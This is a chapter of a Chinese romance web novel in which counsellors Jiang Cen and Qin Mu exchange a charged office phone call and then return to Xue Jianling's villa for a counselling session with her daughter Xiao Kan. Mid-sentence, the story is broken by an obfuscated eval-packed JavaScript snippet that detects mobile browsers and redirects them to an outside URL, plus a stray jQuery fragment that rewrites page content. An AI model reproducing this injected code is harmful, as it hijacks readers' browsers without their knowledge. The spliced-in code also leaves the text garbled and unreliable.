江岑的日子总过得悠闲。
朝九晚五地工作,安安份份度过周中之后,剩余的晚间和周末都是丰富多彩的。
她和秦暮还没确定关系,所以也并不是总在一块儿。寻常中午吃个饭,相互间小心翼翼,维系着这隔了层纱的暧昧关系。
如此这般……江岑劝自己满足,但爱恋的心意难控制,想拥有的往往更多。
不知道秦暮的心意,如何呢?
“叮铃铃——”
座机讯号忽然响起,打断了江岑的漫游念头。撑着下巴的手臂情急之下脱力,她差点扑腾地咬到自己的舌头。
迷离的眼神赶紧聚焦,后知后觉自己竟盯着办公室那端的秦暮看了很久。
失态。真是失态。
幸好应用中心里头再没别人了,自己犯花痴的糗样子没被发现。
江岑拍拍脸颊,强行清醒,接着伸出左手食指激活座机,座机经指纹识别、精准地将语音讯号传送到江岑刚带上的耳机里。
她对着空气扬起笑意,预备好了为来电的新老客户答疑。
万万没想到,来电的人不是新老客户——
是方才她正痴痴看着的,秦暮。
“咳嗯……”
对面的人只发出细微声音,江岑就已经辨别出来了。这时候心中萌生偷看后的心虚,对着空气扬起的笑意当即收敛,不敢再放纵肆意。
“找我有事?怎么不走过来,反而打电话呢?”她俩的工作位置真不远。江岑这侧靠校外街道,窗边有一株郁郁葱葱的柏树。而秦暮坐在办公室对角的另一侧,那边的窗大概能看到燕洋大学的教学楼。
座机通讯不比影映电话,呈现不出对方样子。说着话的江岑隐忍不住,下意识地想瞧瞧电话对面秦暮的神色。于是,眼睛不由自主就越过工作台、越过办公厅,又一次投落到对角方向的那人身上。
这次不再是偷偷看。
可心跳的节奏却更快了。
秦暮竟也在看着她。
默声的引力波不走座机讯号,隔空地、无形地在两个人之间拉扯。
窗外的斜阳挥洒红晕,折映在江岑的脸上。江岑讷然猜想,现在她的脸肯定很红。
值得羞臊的并不仅仅是“偷看”这件小事,还有先前在储静域面前“探听秦暮秘密”的重要的事。
江岑真心希望,储静域能稍稍把自己的动机透露给秦暮知道。
要是能通过第三方搭桥,让秦暮清楚她的爱慕、她的迫切、她的热忱——能够拉近久隔的关系就好了。
“明天又到周六,你准备好小侃的新一轮咨询了吗?”秦暮淡淡的。
果然……
又是谈论公事。
什么“透露不透露”,什么“知道不知道”。
到头来,还是只江岑自己一个人在多情地纠结。
还好,江岑不是那么容易陷入消沉的人,她有的是等候的耐心。
她续上秦暮挑起的话题,如实告知进度:“这周做了很多准备,主要围绕小侃的原生家庭、于笑夜的偶像背景以及粉丝群体进行了深挖分析。除此之外,还拟出了几个应变计划,一来避免咨询变故、二来应对不同的发展方向。”
江岑虽然闲时躺平懒散,可一当捡起工作,严谨性不输秦暮。这也是能一直与秦暮搭档,成为应用中心里储静域左右手的原因。
手头还在一点一点复核资料内容,江岑甚至比以往任何时候都认真。
这或许和储静域约定好了有关,迫切地希望任务能够迅速完成,再向导师了解秦暮的过往。
秦暮听完了江岑这边的小结,尊重既定的计划方向,不过多干预、不另行阻碍,只在最后补充些许他的意见:“挺好的。我会一如上次那样协助你,一起面对难题。看实际情况,再给小侃、薛建瓴意见。”
座机传来的电讯号在耳侧振成清晰的人声,江岑能将秦暮的换气和键盘打字音听得一清二楚。
她在聆听他的后话。
“除了你深挖的三个角度之外,我还整理了关于小侃在燕洋大学里的社会关系网。可能这一次咨询暂时用不上,但如果能帮到你、帮到薛侃,自然最好了。”电脑智能接收到了云端传输数据的请求,江岑没有犹豫,点击“同意”,梳理妥帖的文本和图片就瞬时之间到了面前的屏幕上。
江岑认真地在屏纸上补充新内容。
新增的资料中,多了几层其他维度,都是她没能考虑到的细节。
她准备投入新一轮资料拉锯战,秦暮的好声嗓仍在悠悠粘连:“明天下午三点,还是建瓴别墅五单元。”
“嗯……”江岑模模糊糊应承着,答应了之后才回过神来,“嗯?我们不一同去?”
“明天不行。”秦暮很少推拒,特别是推拒江岑,可今日却说“不”了。没有透露究竟遇到了什么要紧事,但江岑想,他一定有自己的苦衷。
“放心。明日下午三点,我一定会赶到,不会落下小侃的咨询事项。”秦暮不经意间,换气急促了少许,一呼一吸仿佛就在江岑耳畔吹打。
江岑其实不太需要秦暮的保证,“秦暮答应过的事情会完成”,她总是替他有信心。
座机电话挂断的时候,对面的声音也就戛然而止了。
江岑油然而生一种像贪恋的情绪,无论是贪恋、还是其他,这情绪没能够直白告诉,只一次次地在偶然的、偷摸的瞻望中,隐隐遥传。
---
第二次咨询,江岑提前了十五分钟到。
出乎她意料,昨天报备了另外有事的秦暮竟也提前到了,没有重演赶单的仓促。
“早啊……”下午三点,已经不早了。
江岑不觉有它,甚至觉得草率的问好也温暖:“早哇。”
两人并肩而立,又一次站在了别墅院子外的门口。
登对得天生相配,把时光也诓骗,让人情不自禁相信他们能一直一直搭档,搭档很久很久。
与上一次咨询不同的是——
这一次薛建瓴没有摆谱。至少,没有姗姗来迟地出场,显摆集团董事的架子。
薛建瓴是亲自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029885|194528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来开门的。保姆穗芳、管家塞尼都在,但是她亲自来开门了。
这态度的转变,对于大家来说是好事。
“谢谢。”江岑口中向着薛建瓴道谢,进门后迅即回头,和秦暮撞眼。眼神交汇的间隙,互相确认这个新发现。
“小侃在楼上。”薛建瓴说话的声腔也缓和了很多,似乎在渴盼着江岑秦暮的到来,期许着新一轮的咨询能够改善薛侃更多,“她依旧每天窝着、不说话,但好在……愿意三餐准时出来吃饭了。”
“好的。”秦暮点头表示知情,接应着薛建瓴喜悦下的不安,“谢谢您的反馈,我们会进一步展开小侃的咨询。现在,请您留步一楼,把咨询空间全权交给我们和小侃,好吗?”
江岑先登上了楼梯。
秦暮停在手扶楼梯口,高挑的身形挡住路,明示着不让别墅里的其他人上二楼。
薛建瓴的本性应该是想发作的。
可抬眼看见秦暮公式化的笑意,回想起来女儿的现状严重又糟糕,心里的怒火也就憋回去了:“好好好,我们都不上二楼,听你们的。可是你们得向我做保证,保证小侃一定会好起来……”
客户的要求总是强人所难。
心理征况因人而异,实际上就像毫无规律的波浪曲线。江岑秦暮只能尽力疏导,让受访者的心理曲线向正向调和。
心理咨询师毕竟不是行走的神药,“一定好起来”只能设想、不能明说。
秦暮不会扯谎,场子眼见着就要再度冷下来。还好登上了二楼的江岑机灵,帮衬秦暮打圆场:“薛女士对我们那么有信心呐?这么硬性要求KPI,反倒令我们忐忑了——心理咨询师忐忑起来,咨询效果可不稳定哦!”
“不不、不是KPI!”薛建瓴连连否认。
江岑笑笑,没有继续强词。
他们知道的,薛侃现下的糟糕境况虽然和原生家庭脱离不开关系,但也不能全然怪责薛建瓴。
女儿身体健康出了岔子,最紧张的人还应属母亲。
有的人病了,有的人快病了。
悲剧的当事人实际都是苦主。
薛建瓴内心在矛盾。
她不能打扰咨询师工作,可另一个念头怂恿着她:很想很想跟上去旁听——如此一来徘徊在秦暮身前,就是不肯撤身离去。
秦暮不会生气,江岑也不会。
他们留心呵护着薛建瓴的焦灼,深深地体谅和理解,包容后者内心的心理小孩作怪。
心理小孩人人都有,且不会随时光而增岁。
它简单得纯粹,即使原身为人父母了,也仍旧是长不大的小孩。
江岑哄着她。
薛建瓴不再是权威的企业家、不再是强势的大家长。此刻在咨询师眼里,只是薛侃的唯一亲人——
“遗憾不能笃定地和您保证,但我答应你,今日小侃能吃半碗饭,我们就鼓励她明日多吃一口、后日再多吃两口……”
“直到心情一天一天变好——”
“想吃什么吃什么,想吃多少吃多少。”